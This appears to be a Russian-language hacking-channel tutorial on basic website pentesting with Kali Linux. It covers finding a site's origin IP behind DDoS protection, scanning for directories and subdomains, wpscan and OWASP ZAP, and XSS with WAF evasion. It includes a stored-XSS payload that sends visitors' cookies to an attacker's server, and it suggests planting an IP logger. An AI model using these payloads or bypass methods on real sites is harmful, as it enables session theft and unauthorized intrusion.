May 14, 2023

Сканируем сайт на уязвимости

Приветствую! Продолжаем нашу работу с Kali Linux. В этот раз мы научимся поверхностно пентестить сайты. Как мы знаем, люди за всю историю Интернета обнаружили огромное количество уязвимостей. Чтобы проверить их всех вручную, придётся потратить не один день. Благо, существуют "WEB Сканеры", которые автоматически пытаются эксплуатировать все известные накопленные годами уязвимости в наш таргет. Также, мы научимся искать скрытые от посторонних глаз директории, файлы, обходить DDOS защиту и многое другое! Это базовый уровень "скрипт-кидди", которого вполне хватит для проверки своего сайта. Приятного чтения, дальше — больше! Не забывайте подписываться на наш проект, который создан не ради денег. Будем рады новичкам в чате.


ДИСКЛЕЙМЕР


Вся информация, содержащаяся в данной статье, предоставляется исключительно в целях образования и общего информирования. Автор не несет ответственности за любые действия, которые могут быть предприняты на основе этой информации, а также не гарантирует ее полноту, точность или актуальность.


Получение настоящего IP сайта

Сейчас существует много защит от DDoS атак, которые могут помешать нашим тестам. Все они работают по такому принципу: сайт "накрывается" мощностями огромного сервиса, (пр. — Cloudflare, DDoS Guard) цель которого фильтровать ботов и частые запросы. Если мы пройдём проверку на робота = сможем получить возможность взаимодействия с сайтом. Если нет — наш запрос просто проигнорируют. Но, каждый сайт имеет свой личный IP, который 99% не под защитой. То есть, если мы его узнаем, у нас откроется возможность общаться с ним без посредников, напрямую. Сделать можно это многими способами, например: засунуть IP логгер в какой-то обработчик сайта, отправить письмо на несуществующую доменную почту сайта (пр.: [email protected]) и вероятно, получить ответ с настоящего IP. Но, не забываем, наш текущий уровень — скрипт-кидди, поэтому будем использовать проверенные и эффективные паблик решения, постепенно повышая свой уровень знаний. Из основных инструментов, могу выделить эти сайты: DNSDumpster, Criminalip, Shodan, intelx, Cenys.

результат поиска настоящего ip сайта используя DNSDumpster

Также, существуют утилиты для дополнительной проверки, одна из них — CloudFail. К слову, если даже IP не удалось обнаружить, это не повод останавливаться. Мы просто потратим немного больше времени на сканирование.

Поиск скрытых файлов / директорий

Это очень важная часть, которую почему-то многие упускают. Мы можем воспользоваться утилитой dirscan, (по умолчанию установлена в Kali Linux) которая в автоматическом режиме попытается найти открытые директории, скрытые файлы, SQL базы, и очень-очень многое другое на нашем сайте. Использование максимально простоe: $ dirsearch -u ссылка-на-сайт.com


Сканируя разные панели нелегальной тематики мне удавалось находить исходники разных скриптов, которые легко можно было бы продать за ~2k$. Некоторые команды вообще оставляли папку с материалом работников в открытом виде, что теоретически, принесло бы мне путёвку в тёплые места, если бы я был злоумышленником=) Но, это все — фантазии, мы ведь люди честные.

поиск скрытых файлов/директорий

Родной брат этой утилиты — subfinder. Он помогает перебирать поддомены сайта. Речь о https://m.vk.com — где "m." является поддоменом и открывает мобильную версию страницы. Очень, очень много сайтов было взломано только благодаря тому, что админы открывали какой-то поддомен на этапе тестировки и не заботились об защите, тем самым подставляли под угрозу весь сайт целиком. Если вам удалось обнаружить что-то интересное, используйте эти две утилиты в связке, в некоторых случаях даже не приходится производить поиск уязвимостей, когда вся нужная информация буквально открыта. Установка лёгкая, (одна строчка) гайд по использованию есть в официальном репозитории GitHub.

поиск поддоменов сайта

Сканирование сайта на WordPress

Сейчас каждый третий сайт работает на этом CMS*. С его помощью можно устанавливать плагины, которые зачастую уязвимы. Чтобы проверить, работает ли сайт на WordPress, достаточно перейти по такой ссылке: ваш-сайт.ru/wp-admin В успешном случае мы попадаем на страницу авторизации, если нет — можно не проводить дальнейшие действия. К слову, на некоторых сайтах эта страничка умышленно скрывается/переносится на другой адрес, поэтому перед этим действием желательно просканировать скрытые директории/файлы, которые могут дать нам зацепку. Для поиска уязвимостей в плагинах используется утилита wpscan, которая уже установлена в Kali по умолчанию. Перед началом работы с ней, настоятельно рекомендую получить api ключ на официальном сайте, это абсолютно бесплатно. С его помощью, мы сможем произвести более эффективное сканирование. (лимит api ключа: 75 запросов в 24 часа)
После этого, открываем терминал и вводим такую команду. Измените токен.


wpscan --url https://ваш-сайт.ru --api-token wlxP46r7QDhaTkmHOYFDK9qyZNrRP4


поиск уязвимостей в плагинах WordPress

В случае если какой-то плагин уязвим, нам предоставляют ссылку на сайт, где описана угроза и способы её эксплуатации. Также, бывают "ложные обнаружения", сверяйте уязвимые версии плагинов & текущие.

CMS — это система управления, которая позволяет создавать, редактировать и управлять содержимым сайта без необходимости знаний программирования.

Установка WEB Сканера

Стоит упомянуть, что сейчас сканеров просто огромное количество, их тысячи. По моему опыту, наиболее результативным из бесплатных оказался OWASP ZAP, хоть они все имеют свои плюсы и минусы, как-то сравнивать их будет некорректно. Какой-то лучше ищет xss, какой-то — sql инъекции и все в таком роде. В нашем же случае мы получаем золотую середину. Для установки, потребуется скачать "Installer" с их официального сайта. После загрузки, перейдите в терминал и введите такую команду, указав путь к файлу.


$ sudo bash путь-к-загруженому-файлу-.sh


установка OWASP ZAP

Если установка прошла успешно, вы сможете найти утилиту в списке всех приложений. После первого запуска нам предложат обновить некоторые модули, на что мы, естественно, соглашаемся. Займет это примерно 5 минут.

Ищем уязвимости

В сканере мы выбираем режим "Automated Scan". Вы встретите поле для ввода сайта и непонятные функции — "Ajax Spider", "Traditional Spider". Это своеобразные боты, цель которых стоит в сборе ссылок на сайте, которые будут проверяться сканером на уязвимости. "Традиционный" паук будет черпать ссылки прямиком из HTML кода, "AJAX" — парсит с динамических элементов, которые могут быть доступны только после каких-то действий. (например, нажатие на js кнопку, ожидание на странице и пр.) Соответственно, лучшим вариантом будет использовать сразу два, благо, сканер поддерживает такую работу. Если вы хотите произвести самое глубокое сканирование, вам следует установить параметр глубины на "0", как показано на скриншоте ниже. (замедлит работу)
(чтобы перейти в эти настройки, нажмите: Tools --> Options --> AJAX Spider)

работа в OWASP ZAP

Моим таргетом будет специальный сайт, который был создан специально для теста уязвимостей (http://testphp.vulnweb.com/) — вы также можете попрактиковаться на нём. Нажимаем кнопку "Attack" и наблюдаем за процессом. Скорость зависит от количества спаршенных ссылок и мощности железа. В основном, на проверку одного таргета нужно подождать примерно 15 минут. Можно смотреть результаты в режиме реального времени, нажав на кнопку "Alerts". К каждой уязвимости прилагается инструкция по эксплуатации, если её не предоставили/ничего не понятно — не составит труда вбить название в поисковики и изучить информацию. Кстати, они делятся на несколько типов и имеют свой цвет: Критичные (красные), средние (оранжевые), слабые (жёлтые). Ещё существуют информативные (синие), многие их автоматически пропускают, но они тоже могут быть важными, особенно если таргет не популярный.

результат поиска уязвимостей

В моем случае найдено XSS и SQL инъекцию. XSS — это тип атаки, с помощью которой можно внедрить вредоносный код на страницу. Проще говоря, мы буквально можем украсть чужие cookies по ссылке, перекинуть на фишинг с настоящего домена, заменить какую-либо информацию и так далее. SQL инъекция — тип атаки, с помощью которой можно взаимодействовать с базой данных в обход авторизации. Речь о тех самых "дампах", когда взламывают ресурс и выкачивают информацию. В последствии образуются утечки баз данных. Так как статья не об уязвимостях, мы поверхностно затронем XSS атаку, а SQL инъекцию оставим на отдельный материал, это довольно обширная тема.

Немного о XSS атаках

Думаю, стоит начать с того, что их существует 3 вида: рефлективные, хранимые и на основе DOM. Рефлективные — это когда пользователю нужно перейти по какой-то ссылке. Буквально, уязвимость существует, но чтобы с её помощью осуществить атаку, нужно взаимодействовать каким-либо образом с таргетом. В основном, они встречаются в полях для ввода. (пример: магазин с функционалом поиска товаров) Заражённая ссылка будет выглядеть примерно вот так: example.com/search?<script>alert("HACK2DAY");</script> — если жертва перейдёт по ней, она увидит сообщение с тегом нашего канала. Хранимые — это когда уязвимость можно эксплуатировать прямо в какую-либо страницу. Например: пользователь в VK оставил комментарий под постом с текстом <img src=x onerror=this.scr='ваш сервер'?'+document.cookie;> — теперь каждый, кто увидит запись, автоматически отправит свои cookies прямиком злоумышленнику на сервер, я сделаю отдельно об этом статью. Кстати, <script> нужно указывать для того, чтобы сайт воспринимал нашу надпись не как простой текст, а как исполняемый код. На основе DOM идут уже более продвинутые атаки, злоумышленник вставляет вредоносный скрипт в HTML-документ, который уже находится на клиентской стороне и выполняется в браузере пользователя. По сути, такая атака может быть как рефлективной, так и хранимой.

Что такое WAF

Если хорошо посмотреть на скриншот со сканера, вы можете заметить что наша xss уязвимость выполняется не в чистом виде, как я описывал выше, а с изменениями. Речь о частях "</strong>", заглавных буквах и так далее. Очевидно, если есть уязвимость, создатели сайта попытаются её устранить. Для этого они ставят на свои ресурсы "WAF". Это то, что блокирует нежелательные запросы, которые могут подвергнуть сайт к опасности. Наш сканер видоизменил запрос, добавив к нему немного "мусора", который сбил WAF с толку. По итогу, у нас получилось в обход этой защите произвести нужную атаку. Защита есть практически на каждом сайте, очевидно, что вместо "</strong>" как у меня, вы можете встретить рандомные символы, слова и так далее. Не пугайтесь этого.

пример обхода WAF

Итоги

Мы научились искать настоящий ip сайта, скрытые файлы, поддомены. Установили сканер и произвели свою первую проверку сайта на уязвимости. Поверхностно затронули XSS атаку, упомянули об WAF. Надеюсь, было интересно узнать новую информацию, не забывайте заходить в наш чат. Всем мирного неба!


НАШ КАНАЛ: t.me/hack2day

НАШ КАНАЛ: t.me/hack2day

НАШ КАНАЛ: t.me/hack2day